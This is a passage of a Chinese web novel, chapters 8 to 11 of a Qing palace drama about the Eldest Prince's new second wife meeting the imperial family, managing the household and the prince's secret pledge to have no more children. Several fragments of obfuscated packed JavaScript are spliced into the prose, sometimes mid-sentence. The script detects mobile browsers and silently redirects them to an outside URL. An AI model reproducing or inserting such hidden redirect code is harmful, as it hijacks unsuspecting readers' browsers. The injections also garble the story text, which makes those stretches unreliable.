他承认他昨日在婚宴上的确想起了先福晋,伊尔根觉罗氏跟了他九年,生下四女一子,可在临终时也只是个皇子福晋,没能当一天的郡王福晋,没住上一日的郡王府。 他觉得亏心,愧对伊尔根觉罗氏。 昨日他在婚宴上酗酒,又对不住张氏。 但他今日之所以愁眉不展,跟先福晋和张氏都没有关系,他只是在犹豫走要不要那步棋,想想也真是够荒唐的。 直郡王不解释,也没有要认错的意思。 惠妃恨不能一巴掌拍在这个犟种身上,又不是小孩子了,怎么连这点人情道理都想不明白。 儿子不觉得亏心丧良心,她亏心,她良心不安,她也害怕。 兔子逼急了都咬人的时候,更何况是一个大活人,保清欺负人家,人家难道就不能报复回去吗,到时候闹得家宅不宁,遭罪的还不是保清和几个孩子。 为了安抚儿媳,惠妃不光赏了预备之物,还直接把手腕上戴的玉镯脱下来给儿媳戴上,这玉镯还是当年太皇太后在世时赏给她的。 直郡王则终于不再是那副苦大仇深的模样了,眉头再皱下去,怕是阖宫都要误会他对张氏不满了,可张氏明明是他自己向皇阿玛求来的。 进了毓庆宫的直郡王,面对众兄弟和弟妹们时,甚至扯着嘴角笑了笑,虽然被络腮胡子挡着,不细看根本瞧不出来。 “恭喜大哥了,听闻喜宴很是热闹,孤昨日没去,今儿把礼给你们补上。” 卑不动尊,一个郡王成婚,原就不应该惊动他,他不去才是正常的,不正常的是宗室王爷们去了那么多。 “臣/臣妾谢过太子。” 太子这才看了张氏一眼,那么大的玉如意放在托盘里,从乾清宫到延禧宫再到毓庆宫,一路招摇,他想不知道都难。 皇阿玛可真是……打一棒子给个甜枣,给老大安排了破落户出身的女子做继室,转头又抬举这继室。 老大这桩婚事是没落下一点实惠,宗室王爷齐赴喜宴也好,玉如意也罢,全是些华而不实的。 就像这些年皇阿玛处处抬举老大,却一直压着老大的爵位不封,好不容易封了,才和老三一样只是个郡王,堂堂皇长子,年近三十才是个郡王,说出去都要被人笑掉大牙了。 可见在皇阿玛心里,老大其实根本就没有与他相争的资格。 三爷喜气洋洋,这会儿笑得跟弥勒佛一样,倒比直郡王这个新郎官更像是办了喜事的。 大哥娶继福晋不只是兄弟们当中的头一遭,同样也是他们兄弟封爵之后第一次办喜事。 昨日宗室王爷们齐聚直郡王府,那不只是给大哥面子,还是给封爵的皇子面子,给封为郡王的皇子面子。 他和大哥同为郡王,可见地位是一样的,无论是皇阿玛让内务府以亲王规制送去张府的纳彩礼,还是今日赏给张氏的玉如意,三爷都与有荣焉。 相比笑盈盈的三爷,四爷面色平静,无波无澜。 五爷笑呵呵的,隔着同样波澜不惊的七弟和浅笑着的八弟瞪向九弟那个撅嘴葫芦。 这熊孩子,不就是大哥没下帖子给老九和老十吗,这也值得生回气。 是,九弟娶了福晋,不能当小孩看了,可一来九弟还在上书房读书,二来依旧住在阿哥所里,未曾搬出宫。 大哥如果给老九下了帖子,那同样住在阿哥所里,同样在上书房读书的老十、十二、十三、十四、十五是不是也要送帖子,到时候喜宴上光看孩子算了。 淑娴借着这个机会,也认了一圈的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450300|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 传说中九龙夺嫡中的九龙眼下都还尚年轻,像王爷,今年是二十六周岁,太子爷二十四,未来的雍正皇帝年纪刚满二十周岁,十三爷还是个半大孩子,十五爷直接就是个还没有半人高的小布丁。 福晋们也都风华正茂,平均颜值明显高过皇子团。 早先过门的皇子福晋们,也都在打量这位新大嫂。 太子妃不只看到了那柄显眼的玉如意,也瞧见了淑娴手腕上的玉镯,认出了那是惠妃娘娘珍爱之物。 三福晋高扬着头,与新大嫂互相见礼时,表情动作从容又疏离。 张氏这样的出身,竟也做了她的妯娌,还做了她的长嫂,在排行上压了她一头。 四福晋面对新大嫂的时候勉强笑着,这是人家的喜事,她总不能苦着一张脸,可想想先大嫂,她除了心疼,还物伤其类。 五福晋倒是拉着新大嫂的手略说了几句话,邀请淑娴改日到五贝勒府做客,淑娴也笑盈盈的应了。 七福晋一派自然的行礼,口称‘大嫂’,比她年纪还小的大嫂,这也是常事了,宫中新封的和贵人,也比她年纪小,那还是庶母呢,这上哪儿说理去。 习惯就好。 八福晋紧盯着张氏手腕上的玉镯,看得越仔细越久,便越笃定这是惠妃娘娘平日里常戴的那一只,心中越发不忿。 一个摘桃子的继室,倒得了她和大嫂都没得的镯子,大嫂侍奉惠妃娘娘九年,还为惠妃娘娘生了死五个孙子孙女,既有功劳又有苦劳,她待惠妃娘娘这个养婆婆也素来亲近,可如今却不敌一个后来的,太皇太后赏赐的镯子都给了张氏。 “嫂子手腕上的玉镯瞧着眼熟,好像在哪见过。”八福晋故意开口道。 淑娴抬起手腕晃了晃,解释道:“额娘刚赐的,弟妹肯定是从前在额娘那里见过。” 很漂亮的镯子,是惠妃娘娘直接从自己手腕上撸下来给她的,可能也曾在八福晋面前戴过这镯子。 “嫂子真是好福气,一来就什么都有了,不像我们。”八福晋夹枪带棒的道。 既是一语双关说淑娴摘了前大福晋的桃子,又在暗戳戳责怪惠妃偏心。 虽然直郡王是惠妃的亲子,她们爷是惠妃的养子,但这宫里头和外头可不一样,养恩大过生恩,生子和养子自然也一样重要。 “弟妹谬赞了,不过家里人也都说我是个有福的,得了这样一桩体面的婚事,我本来还胆战心惊,怕我这样寻常人家出身的女眷嫁进皇家会被人挑剔欺负,但却是我想多了,皇祖母慈爱,皇阿玛宽厚,额娘也怜爱疼惜我,赏我这么多珍贵的物品,真是谢天谢地,我是嫁进好人家了。” 她可不只得了婆婆的东西,还有公公和太婆婆的,八福晋要酸也别只酸婆婆,有本事连那两位也一块酸,她才佩服呢。 八福晋抿唇,还真是阿谀谄媚,小人嘴脸,竟借着由头把皇上和太后都给巴结了一遍。 如此钻营,难怪会讨了惠妃娘娘的赏,让娘娘把太皇太后赐的玉镯都给了出去。 这等谄媚巴结人的本事,她可没有。 8. 第 8 章 八爷冲直郡王抱歉的笑了笑。 他福晋素来是心直口快,刚刚语气不好,也是因为想到了先大嫂,大哥应该能理解,毕竟就连大哥自己昨日都借酒消愁。 直郡王颔首,并不介意,既不介意八弟妹的心直口快,也不介意福晋的毫不相让。 八弟妹自去年年底嫁进来后,便颇惹人非议,连八弟的生母良嫔都曾当众顶撞过,可见其为人。 八弟就是性子太好了,大半年的时间都过去了,竟还没让郭络罗氏长教训。 他不喜郭络罗氏的为人,但又觉得跟这种人一般见识犯不上。 而福晋同样年轻气盛,连他的气都受不得,昨晚他不过是为了几个孩子提前警示福晋,自问也没说什么过分的话,竟引得福晋当场发下毒誓。 气性不是一般的大。 如此也好,连他的气都不受,就更不会受旁人的气了。 郭络罗氏刚才那般说话,不只是对福晋这个长嫂不敬,也是对他和额娘不敬,就应该当场驳回去。 而且和郭络罗氏不分长幼尊卑的桀骜不同,到目前为止,福晋并未对任何人无礼,便是反驳郭络罗氏时,也没有失礼。 “我们都是嫁进一家才成了妯娌,如此说来,不光大嫂有福气,我们都是有福之人。”五福晋边说着,边主动走到大嫂身侧。 她不是要给新大嫂打圆场,只是单纯的看不惯八福晋。 这其中有旧怨,也有她对八福晋为人的不耻。 八福晋出身安郡王府,已故的外祖父是立下赫赫战功的安亲王,可谓是出身高贵,八福晋全身上下都透露着八旗贵女的傲气。 可这傲气不会对着太子妃使,也不会对着太后,对同样出生将门且阿玛还在世的三嫂也还算有理,只有对上她们这些家世不显的人,八福晋的傲气似乎格外凌人。 八福晋僵着脸没说话,这做人继室的福分她可不想要。 五爷只是瞥了自家福晋一眼,紧跟着便移开目光,不再理会。 …… 见完礼,向太子和太子妃告退后,众人三三两两往外走。 直郡王和三爷并排走在最前面,四爷、七爷和八爷同行,五爷拉着九爷絮絮叨叨,九爷后头还坠着十爷,后头几个小的凑一拨回上书房。 另一边的妯娌们,也多是选择与自己相熟的走在一起。 三福晋、四福晋、八福晋和九福晋一道,其中三福晋和九福晋是隔房的堂姊妹,都出自正红旗董鄂氏,而三福晋和四福晋在阿哥所时做了多年的邻居,搬出宫后,四福晋和八福晋又成了邻居。 五福晋和七福晋亦是邻居,嫁进皇家的时间也相差不多,这会儿妯娌俩一左一右伴在淑娴身旁,没让新大嫂落了空。 “如果是还住在阿哥所里,就要从这个路口往右拐了,从前的时候,不管是给长辈请安,还是妯娌之间串门都方便,不像现在。”五福晋颇有几分怀念的道。 搬出去还不到半年,她已经开始想念阿哥所了。 虽然这住处很小,只有三进,和她如今一个人的正院差不多大,但这里毕竟是紫禁城,在皇上和太后的眼皮子底下,刘佳氏再受宠,也要守着规矩,不敢嚣张。 搬出宫后,离紫禁城远了,贝勒府是爷的贝勒府,爷说了算。 她为正妻住在正院,别人抢不去,可刘佳氏是爷的心肝,院子安排在离前院最近的地方不说,还是两个院子合在一处的,加起来的面积比她的正院也不差什么了。 对此,爷的理由是为了孩子,刘佳氏不光为爷生下长子,肚子里还怀着一个呢,生出来不管是次子还是长女,也都顶顶金贵。 她一个无宠之人又能说什么,连太后和娘娘都不曾说什么。 还是住在宫里的时候好,爷那时候不敢如此随心所欲的宠爱妾室,而且作为光头阿哥,也不能为格格请封侧福晋。 如今府里都知道,爷早就许诺刘佳氏了,这一胎无论生下来是男是女,爷都会为刘佳氏请封侧福晋。 到时候,刘佳氏便是皇子后院中的第一位侧福晋,而她这个嫡福晋做的就更像笑话了。 七福晋笑道:“现在也好,现在住的宽敞了,猫猫狗狗都养上了,我还在院子里弄了八口大缸,上面养睡莲,下面养金鱼,还养了只大王八。 等哪天有空,大嫂和五嫂也去我那儿瞧瞧,说不定你们一瞧也能喜欢上,回家都养上,咱们自己哄自己高兴呗。” 又不能不过日子了,她和五嫂一直都是同病相怜,五嫂府里有个刘佳氏,她府里有个纳喇氏。 府里俩孩子都是纳喇格格生的,一个长子一个长女,将来封了侧福晋,两个孩子便都成了侧出,而侧出子有着和嫡子相同的继承权。 别看她们爷不像五爷那样宠妾灭妻,府里的规矩严明,也并未太过抬举纳喇氏。 可只要这两个孩子能立住,纳喇氏被请封为侧福晋是早晚的事儿。 她能有什么办法呢,爷不是不去她房里,怀不上能怎么办。 只能是顺其自然,她还年轻,身体又没有问题,或许过几年就能怀上了,哪怕未来这个孩子继承不了贝勒府,有也比没有强。 暗害府中子嗣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她没打算在府里办养鸡场养鸭场,只是养几只而已,因为在未来十年,这些都派不上用场,十年后才能用到。 她希望十年后府门关闭的时候,府里有养好肥力的庄稼地,有菜种粮种,有专门养鸡养鸭养鱼养兔子的地方,而鸡鸭鱼兔也都是成对可繁衍的。 到时候如果康熙苛待儿子,或者内务府的人落井下石,克扣她们的供应,她有这些准备,也能吃好喝好。 “七弟妹养了几只猫猫狗狗,安置它们需要几间房,平时遛狗都在哪儿遛?” 七福晋知道,她这是碰见同道中人了,不想养小猫小狗的人不会问的这么细致,忙道:“六只……遛狗在正院就能溜开,因为府里有孩子,虽然孩子现在还小,但为了避免日后可能出现的风险,我还没让它们去过后花园。” 如果大嫂想养猫狗的话,也得注意这方面的风险,直郡王府也是有小孩子的,而且先大嫂不在了,几个孩子怕是还要新大嫂照顾。 9. 第 9 章 来的时候是一起,走的时候是各走各的,淑娴不知道王爷有没有婚假,反正人是跟着其他阿哥一块走了,许是去了衙门吧。 马车摇摇晃晃,因为是在内城,因此速度并不快,淑娴也不急着回府,中间拐弯去了趟粮食店街,满载而归。 香喷喷的猪头肉,夹在棋子烧饼里,简直要把淑娴香迷糊了。 “你们也都吃点垫垫,等会儿回府还有的忙。” 就算王爷不回去,她该见的人也要见。 王爷的儿女,府里的几位格格和侍妾,后院的仆妇、丫鬟和太监,既然昨天晚上已经说定了,后院交给她来掌管,她总是要认一认人,立一立规矩的。 跟着福晋出来的石榴和葡萄闻言各取自己爱吃,石榴拿的是驴打滚,葡萄吃的是炒肝。 淑娴在家吃了两个月的素,一朝破戒,看见什么都想吃想买,以至于买了满满当当二十几个油纸包。 “福晋买这么多,是打算给大格格她们送去吗?”石榴提醒道,“格格们从前养在宫里,这外面的吃食可能吃不惯。” 福晋肯定是一片好心,但旁人未必领情,再好吃也是民间之物,听说权贵人家对入口的东西都特别讲究。 “不送。”淑娴果断回答道,“给大格格她们预备的见面礼里没有吃食。” 她好歹也是看过宫斗剧的人,当然知道送吃食是最不保险的。 给府里人的见面礼是早就准备好的,主打的就是一个经济实惠还安全。 给大格格、二格格、三格格和四格格预备的见面礼都是一套衣服、一套鞋袜和纯金的长命锁一枚,只是样式不同。 给大阿哥备的礼则是衣服鞋袜和金如意。 给府中格格、侍妾准备的是镯子,格格们是金镯,三名侍妾是银镯。 石榴松了口气,这才跟福晋说起她们几个人昨晚打听到的消息。 “府里之前一直是王爷身边的袁嬷嬷管着,大阿哥也是袁嬷嬷照看,府里的下人都是内务府出身,之前还有些不服袁嬷嬷的,趁着王爷不在府里时候闹腾,结果王爷回来之后把所有相关的奴才都退回内务府了,现如今一个个可老实了。” 石榴不是内务府包衣,可也知道内务府的规矩,一旦被退回,那只能被安排去做苦差事了。 自己的前程没了不说,可能还会连累家人。 “听说退回去整整九十六人。” 她们几个昨天晚上打听到此事的时候,都倒吸了一口凉气。 倒不是同情那九十六人,而是……那可是内务府的包衣大爷们。 说是包衣奴才,但内务府的包衣都是皇上的奴才,放到外头那也是大爷,轻易没多少人敢招惹。 不说旁的,包衣里连娘娘都出过好几位了,大官小官的也都有,没当官的在贵人身边伺候也跟着沾了贵气。 外头是一听是内务府出身的,总是要敬上三分。 王爷却是直接退回去足足九十六人,还是在没有明确证据的情况下,这便是皇家吗,旁人不敢得罪的,在王爷这里好像真的只是伺候人的奴才。 淑娴:“……” 王爷清退内务府包衣一事,她之前也听说了,只是听说的内容没有这么具体,不知道是一下子清退了九十六人。 可见王爷昨天的应承不是在说大话,为袁嬷嬷,王爷能清退九十六人,若是府里有跟她作对的,想必王爷也不会手下留情。 至于得罪内务府,呵,王爷连得罪太子都不怕,还怕得罪内务府。 淑娴一颗心在肚子里稳稳当当的放着,甚至因为今早的见闻,开始觉得自己从前的计划保守了些。 皇家没有她想象中的那么‘戒律森严’,王爷如今活得比她想象中更肆意,像七福晋,也比她想象中的皇子福晋生活更自由。 八福晋就更不用说了,当着直郡王的面便敢讥讽她还暗指惠妃偏心,可也未受什么惩罚,连指责都没有。 她完全可以更大胆一点。 王府后院的下人被聚集到正院,最前排是各处的管事,男女老少都有,像膳房的管事是位年长的内侍,针线房是嬷嬷,茶水房则是年轻的丫头……不过管事还是以内侍太监居多。 “奴才拜见福晋。” 几百人齐刷刷行礼的动作和声音,直面现场还是挺让人震撼的。 假如每人每月的月银是二两,面前这三四百人,一年的俸禄加起来就有差不多八千两,再加上衣食,加上平日的打赏,一万两是打不住的。 不过淑娴也知道,各处用多少人都是有规制的,郡王府的规制就是如此,将来等王爷被革爵为光头阿哥,规制会跟着下降,这里的人也会少个大半,就是不知道到时候这王府的面积会不会也跟着降级。 好歹是亲儿子,还是第一个立住的儿子,但愿康熙到时候不会派人来拆房子,不过为了保险起见,像库房什么的还是不要放到边缘位置,免得将来被拆了去,里头的东西可能也会跟着丢失。 看着跪了一院子的人,淑娴叫了起,依着常例,主子大喜,要打赏下人,可能也是给红包沾喜气的一种吧。 三四百人的红包……真是给的肉疼。 唉,郡王府有什么好,郡王每年的俸禄是五千两,比贝勒多两千五百两,郡王福晋的俸禄则是比贝勒福晋多二百五十两,可是跟多出的支出比起来,这些多出的收入实在没跟上趟。 “赏每人一个月的月银。” 七八百两银子就这么赏没了。 “管事的回去之后,把账册和人员名单都送一份到正院来。” 她要盘账盘人。 当然,这里面并不包括王府主子们的账册,大阿哥、大格格们是王府的小主子,吴雅氏、钱氏几个格格是王府的半个主子。 聚集在正院的下人刚离开,几位格格和侍妾便已经到了院门口,等待传见。 “让她们都进来吧。” 和人数庞大的太监仆妇丫鬟比起来,王府妾室的数量就让人舒心多了,总共才五个格格三个侍妾,金银镯子送出去都不会让她觉得心疼。 几个人里,打头的是吴雅氏,资历最深,后面还有个今年刚进府的小吴雅氏。 听石榴几个人打听到的消息说,这两年里,后院中最受宠的是关格格,侍寝次数是最多的。 除了这三人,还有钱格格和王格格,这两位都算是比较有资历的,跟着王爷五六年了。 “妾吴雅氏拜见福晋,福晋请用茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450302|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 格格们一一上前来敬茶,淑娴也借着喝茶的机会,把人瞧了个遍。 相貌最出色的是刚进府的小吴雅氏,面容姣好,肤如凝脂,还有一双水汪汪的大眼睛,给人以柔弱温婉之感。 早进府的吴雅氏穿了一身茶褐色衣裙,头上戴的团花和发簪颜色也都很老气,看上去很是沉稳。 钱格格体型丰腴……显然已经放弃了身材管理,穿直筒宽袖的旗装都藏不住腰间和后背的赘肉。 王格格长相……朴实,额娘先前还嫌弃她捂的不够白,真该让额娘来看看钱格格,如此便不会嫌弃她了。 传说中最受宠爱的关格格的确清秀可人,但也只是清秀,和她想象中的宠妾模样很有出入,但在吴雅氏、钱氏、关氏的映衬下,她倒很明白为什么最受宠的是这位。 三名侍妾分别是云氏、赵氏和秋娘,皆是好颜色,但打扮得都很素,看起来也都很老实沉稳。 “妹妹们都坐,往后就是一家人了,我们好好聊聊,互相多些了解。”淑娴面带微笑尽可能和气的道。 这些都是难姐难妹,将来要一块种田割草喂鸡养鸭的。 “我初来乍到,妹妹们也搬来王府不多久,有什么想添置的物件,那可以报到我这里来,我尽量安排,我安排不了的还有王爷。 比如在院子里搭个秋千,喜欢宠物的弄个宠物房,喜欢做菜的在院子里弄个小厨房,喜欢做绣活的,采买些喜欢的布料丝线,喜欢种花的,置办块花田,喜欢练武的,咱们后院也可以弄个小一点的演武场嘛……这些合理的要求都可以报上来,我看着慢慢安排。” 落座的几位格格和三名侍妾面面相觑,万万没想到福晋会选择以这样的方式施恩她们。 朴实无华到有些不像妻妾了,倒像主家和门客。 吴雅氏最先开口,试探着道:“如果是置办小厨房的话,不知道食材怎么算?” “那要看你了,从名下份例里拨,想拨多少就拨多少。” “能全拨吗?” 她不是对做菜感兴趣,而是不想便宜了旁人,尤其是那起子钻进钱眼里的奴才,平日里要份例之外的糕点,都得拿银子打赏,可她那些没用完的份例,也没见膳房的人补给她,还不是被这些奴才私下分了。 若是有自己的小厨房,再把份例都搬到自己小厨房里,想吃什么让丫头、太监学着做就是了,便是要打赏,赏自己人,她也是高兴的。 “能。”淑娴肯定道,“你的,还有你院里人的份例,想拨多少过去都成,你现在是住在——” “妾住春风院,东南方向上离竹林最近的那处院子。” “位置不错。”淑娴赞道,紧挨着竹林,既有笋子吃,养鸡也方便。 “你回去归置归置,想用哪间屋子做小厨房,要几个灶,要多少厨具,都写张单子报上来。” “妾拜谢福晋。”吴雅氏喜气洋洋,直接动作迅速地给新福晋磕了一个。 像她这样人老珠黄,没给爷生下一儿半女,在爷那儿也没多少情分的老格格,新福晋就是笼络人也笼络不到她身上来。 可人家硬是给了这么大的一份恩典,她也不知道该报答福晋什么,只能磕个响头了。 10. 第 10 章 “日后若无必要,不用行此大礼。”淑娴哭笑不得的道。 还以为会是个刺头,结果……竟是纳头就拜。 让她恍惚间想起上一世看过的电视剧《水浒传》,好汉们见面,听闻对面是宋江,便口称哥哥,纳头就拜。 有吴雅氏开头,身材丰腴的钱格格也起身道:“妾也想像吴雅姐姐一样,在院里置办一个小厨房。” “可以。” “妾也是。”关格格忙起身道。 “都行,你们呢?”淑娴看像王格格和小吴雅格格,还有云氏、赵氏和秋娘三名侍妾。 王氏和小吴雅氏彼此对视了一眼,同时起身,静默了一会儿,终于是王氏先开口。 “妾和小吴雅妹妹都住在冬雪院,我们二人可合用一处膳房。” 郡王府给格格们预备了四处院子,分别是春风、夏雨、秋水、冬雪,吴雅氏住在春风院,关氏住夏雨,钱氏住秋水院,王氏和资历最浅的小吴雅氏则是合住在冬雪院。 四个院子面积上是相同的,而且都不大,很符合格格的规制,整个后院最大的院子是正院,有春风和夏雨、秋水三个院子加起来那么大,然后是大格格、二格格、三格格、四格格和大阿哥的五处院落,之后才是春夏秋冬四个院子。 至于三名侍妾,她们住在位置偏远的听风楼里,尽管楼有三层高,房屋二十几间,但属于她们的屋子不多,实在没有地方置办小厨房,便是三个人合伙,也腾不出一间空房来。 淑娴眼下并不了解郡王府住房宽松又拥挤的情况,还以为云氏、赵氏和秋娘三个人并不想要小厨房,或者是不敢要,毕竟光是听自称就知道格格和侍妾的身份差距了,格格们的自称是‘妾’,侍妾的自称则是‘奴才’。 “王爷新封郡王,又搬出了宫,妹妹们的月俸和份例也合该涨一涨了,这样吧,从这个月开始,你们每人的月俸和份例都涨三成。” 有小厨房开头,又有涨月俸和份例收尾,这场请安敬茶礼从头到尾都和谐轻松,每个人离去的时候脸上也都是笑盈盈的。 另一边,直郡王去而复返。 在兵部衙门只待了一盏茶的时间,便重新去了乾清宫,求见皇阿玛。 知晓保清没陪刚过门的福晋回府,反而去了兵部衙门的康熙有些哭笑不得。 这混账东西,说好听了是性情中人,说难听了就是不懂人情世故。 不过,这就是保清,一贯容易感情用事,哪怕伊尔根觉罗氏已经离开两年多了,保清心里头还是放不下。 不是不知道规矩,也不是不知道怎么做最好,只是太重感情了,这是保清的优点,也是缺点。 “传吧。” 这么急匆匆的过来,许是兵部有什么急事。 “儿臣,请皇阿玛安。”直郡王保持打千行礼的姿势不变,不等皇阿玛叫起,继续道,“儿臣有秘事要报。” 康熙愈发诧异,抬了抬手,梁九功便带着一行人都退了出去。 确定所有人都出了屋子,走远了,直郡王干脆双膝跪地,道:“儿子此来不是为国事,而是为家事。” 盘腿坐在炕上的康熙眉头轻轻皱了皱,家事? 直郡王硬着头皮道:“儿臣与伊尔根觉罗氏九载夫妻,彼此扶持,她之所以会早逝,责任在儿子,是儿子一心求嫡子,这才会害了伊尔根觉罗氏的性命,儿子有愧于她。 弘昱不只是儿子的嫡长子,也是伊尔根觉罗氏拿命换来的,儿子……儿子如今终于明白皇阿玛对太子的看重和疼爱了,弘昱是儿子发妻留下的嫡子,儿子看重他胜过未来所有的孩子,如今弘昱还小,儿子想在他长大立住之前,暂且不要孩子。 此事儿子昨晚就已经通知过张氏了,她也答应了儿子,日后会服用汤药,直至弘昱长大成人。” 直郡王说完便俯首埋面,静等皇阿玛发落。 昨晚冒出来的荒唐念头,到底是让他践行了。 他在皇阿玛面前说的话亦有七分真,此后无论他有多少孩子,无论是男是女,都比不过弘昱在他心中的地位。 他与伊尔根觉罗氏是少年夫妻,彼此扶持着走过了九年。 皇阿玛和孝诚皇后亦是少年夫妻,孝诚皇后在的时候,也是皇阿玛一生当中最艰难的时候,他们是患难夫妻。 弘昱是他的嫡子,太子也是皇阿玛的嫡子。 多像啊。 康熙先是觉得荒谬,后又胸口憋闷,这混账东西竟还拿他和孝诚皇后做类比,难不成孝诚皇后之死的责任也在他,是他想要嫡子,孝诚皇后才会在生保成的时候难产而亡。 康熙忍不住将炕桌上的茶盏冲着老大扔了过去。 茶盏直直的打在直郡王胸口上,茶水溅到衣服上,茶叶和碎瓷片落在地上、衣服下摆上。 拉出太子和孝诚皇后,又说什么未来所有孩子都比不过弘昱,这是何意。 是,他疼爱看重保成,可保成是太子是储君是国本,他难道不应该看重不应该疼爱吗。 弘昱如何能与保成相比,保成是太子,弘昱将来充其量也只是亲王世子。 他看重保成,却也没有置其他阿哥于不顾,哪一个阿哥,他没有精心教养。 哪像保清这混账东西,居然打算在弘昱长大之前都不准备要孩子,还让明媒正娶的福晋喝避子汤药。 不孝! “弘昱要长到多大,你觉得才算是长大立住了?”康熙冷笑着问道。 直郡王没有迟疑,道:“十五岁,儿臣以为等弘昱长到十五岁,便算是立住了。” “朕看,不如等到弘昱有了儿子,有不止一个儿子的时候,你再要孩子算了,如此才安稳保险,才能成全你对伊尔根觉罗氏的一片深情。” 他比谁都清楚保清的性子,重情重义不假,但不是个痴情种,皇家也不需要痴情种,如今这般倒像是脑袋里进了水,把人给浇糊涂了。 就这还想与太子相争,该滚回上书房读书才是,好好学学孝经,重新学一遍史记,把脑子里不知道什么时候灌进去的水都清出来。 “儿子有罪,让皇阿玛烦心了。” 虽是请罪,但直郡王此刻内心已经不复来前的紧张,相反,他从来没有像现在这样清醒平静过。 他幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450303|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时被寄养在宫外,六岁那年才回宫,而从六岁到现在已经二十年了,他与太子相争也整整二十年了,把自己争到了死胡同里。 太子和太子党的人已经被他得罪的结结实实,便是他日后退让,也没有说和的余地了。 正如同他也深恨太子一样,若有朝一日是他大权在握,他也绝不会放过太子,二十年来结过的仇怨,死过的人,都是真实不可磨灭的。 可如果一直跟太子这么争下去,他现在已经能感觉到希望越来越渺小,甚至渺茫了。 皇阿玛压着他的爵位多年不封,如今终于封了,也才是郡王,还一并封了老三做郡王,这其中或有保全之意,但更多的怕还是皇阿玛并不希望他能真正威胁到太子。 在皇阿玛心中,最终要接过皇权的人始终都是太子,而他不过是太子的磨刀石。 二十年了,他反倒一日比一日觉得太子之位难以撼动,而他进不了,也很难后退。 此次他来面见皇阿玛,便是为了在皇阿玛面前后退这一步。 有心大位之人,怎能在皇阿玛面前做出痴情种的模样,又怎能只要独子,不要稳妥。 而没了他这块磨刀石,太子之刃总是要亮于他人的。 “滚出去。”康熙口不择言,被逆子气到胸口痛。 如果是十六岁,六岁,如此任意妄为还能扯一句年少不知事,二十六岁的人了,竟还这么的任性,实在有负他多年教导。 直郡王麻溜的滚了,一身轻松的走出乾清宫,皇阿玛越气,越表明皇阿玛信了他的恣意,这一步也算是退出去了。 待保清走后,康熙直接命人召来赵昌:“你去查查,从昨日到现在,直郡王福晋相关之事,事无巨细,全都报上来。” 是不是张氏有什么不妥当的地方,才会让保清有了十几年内都不生子的想法。 还是保清早就有这个打算,先前保清求他指一个家世中等、胆子不大、性子好的福晋。他只以为保清是为了弘昱几个孩子,现在想来,保清不会那时候就已经想要十几年不生子了吧,换作受不了委屈的高门贵女,必是不能答应的。 而一个家世平平、又没什么脾气还胆小的女子,大抵就不会反抗了。 他现在甚至怀疑,保清的这个想法不是今日冒出来的,也不是几个月前才有的,是不是在伊尔根觉罗氏弥留的那几日,保清就已经有此想法了。 在此之前,无论是娶妻还是纳妾,保清从不会关心这些事情,更不会为此来求他。 而在伊尔根觉罗氏去后,今日已经是保清第三次为家事来求他了。 第一次是伊尔根觉罗氏去后三个月,保清不愿立刻续娶,想等到下次选秀,也就是两年后的今年。 第二次便是今年选秀时,保清主动提出想选一个家世中等、性子好的女子。 “再去查查已故的大福晋伊尔根觉罗氏,在她缠绵病榻那几日,可曾向直郡王求过什么。” 保清素来重情,九载夫妻,将死之人,又是因生产血崩而亡,便是提了什么不合理的要求,保清可能也会因为心软而答应下来。 “嗻。” 11. 第 11 章 直郡王回府的时候,淑娴正准备用午膳。 王府和紫禁城的规矩一脉相承,都只吃两顿饭——早饭和晚饭,不过她两辈子都习惯一日三餐,三餐之外偶尔还会加个下午茶或宵夜。 俗话说得好,早吃好,午吃饱,晚吃少,按照她多年养成的习惯,午饭才是一天当中最丰盛的一顿。 因此,直郡王回府就见到了满满一桌的午膳,有府里的菜色——八宝鸭、素炒芦笋、虾仁煲蛋、荷叶莲子羹,但更多的是外头的小吃——焖猪头肉、酱猪蹄、驴肉火烧、烤鸽子……甚至还有一道卤猪肠。 福晋还真是有雅兴,看来昨日的誓言是一点都没影响到福晋的胃口,只是不知道这样的好胃口能延续到几时。 “都下去。” 等屋子里只剩下他和福晋两个人的时候,直郡王这才开口。 “昨日之事爷已经禀告皇阿玛了,是爷为了弘昱,让你答应在弘昱长大成人之前不生子的,皇阿玛念在弘昱的份上也没有反对,过几日爷会让太医过来为你开药,对外就说是养身子的药。额娘那里,爷方才也去过了,禀明了此事。” 所以日后在额娘面前千万别提什么发誓不发誓的,说漏了嘴。 